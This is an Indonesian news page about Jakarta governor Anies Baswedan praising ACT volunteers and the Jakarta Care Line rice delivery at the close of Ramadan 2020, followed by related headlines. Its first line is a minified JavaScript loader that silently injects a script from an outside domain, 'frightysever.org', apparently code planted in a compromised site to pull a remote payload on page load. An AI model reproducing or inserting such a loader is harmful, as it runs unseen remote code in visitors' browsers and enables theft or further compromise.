(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Takbir kini telah berkumandang, seluruh penjuru Nusantara mendengarkan gemanya. Sore telah berganti malam, dan pagi menjelang untuk menyambut hari yang fitri. Ramadan 1441 berlalu dengan beragam keagungan serta keistimewaannya karena adanya pandemi.
Ramadan yang berbeda dari tahun sebelumnya ini juga dirasakan Gubernur DKI Jakarta Anies Baswedan. Dalam sambungan video saat acara Muhasabah Akbar dari Aksi Cepat Tanggap (ACT), Anies mengungkapkan, Ramadan dengan adanya pandemi ini akan dicatat dalam sejarah. Semua orang yang terlibat akan menjadi sebuah narasi yang tak akan pernah dilupakan.
Kini Ramadan telah berlalu. Akan tetapi semangat masyarakat harus tetap dijaga, salah satunya ialah saling membantu dalam menghadapi corona. “Sesungguhnya membantu sesama itu sungguh luar biasa, ini akan menjadi babak baru bagi warga Jakarta khususnya, untuk bisa saling membantu,” ungkap Anies, Sabtu (23/5/2020).
ACT sendiri memiliki program bersama dengan Pemprov DKI Jakarta yang Anies pimpin. Ialah Jakarta Care Line atau layanan antar beras gratis bagi masyarakat di Jabodetabek. Melalui program ini memungkinkan masyarakat prasejahtera bisa menerima beras tanpa harus keluar rumah. Sabtu siang tadi pun Anies berkesempatan menjajal menjadi operator Jakarta Care Line ini.
Dalam sambungan telepon Muhasabah Akbar itu, Anies juga menyampaikan rasa kagumnya kepada seluruh tim ACT, khususnya relawan yang telah berjibaku ikut serta dalam penanganan dampak Covid-19. “Untuk ACT dan semua relawan, jaga stamina dan jadi contoh atas keteladanan serta keikhlasan, tabah dalam kerja sunyi membantu masyarakat. Lokasi ACT di gedung tinggi, tapi hati dan perasaannya ada di dekat rumah-rumah rakyat yang ada di pelosok, yang ada di kampung-kampung kumuh. Terima kasih untuk ACT. Terima kasih untuk semua,” kagum Anies.
Selain Anies Baswedan, Muhasabah Akbar juga dihadiri langsung oleh Ketua Dewan Pembina ACT Ahyudin. Ia mengatakan, walau Ramadan telah usai, tapi kebaikan Ramadan tak boleh diakhiri. Banyak aktivitas yang sudah begitu hebat dilakukan masyarakat, yaitu tolong menolong, khususnya dalam menghadapi pandemi yang belum berakhir ini. “Di balik musibah, Allah memberikan rahmat,” ungkapnya.
ACT sendiri selama Ramadan dan pandemi berlangsung telah menjalankan berbagai program yang hingga kini terus berjalan. Di samping Jakarta Care Line, ACT juga memiliki Operasi Pangan Gratis yang memberikan kebutuhan pangan ke masyarakat di berbagai penjuru Indonesia. Selain program penyelamatan masyarakat dari pandemi itu, saat ini ACT juga siap menjalankan program pembangunanan masyarakat kembali melalui Sahabat Usaha Mikro Indonesia.(Kanalkalimantan.com/eko/act)
KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
This website uses cookies.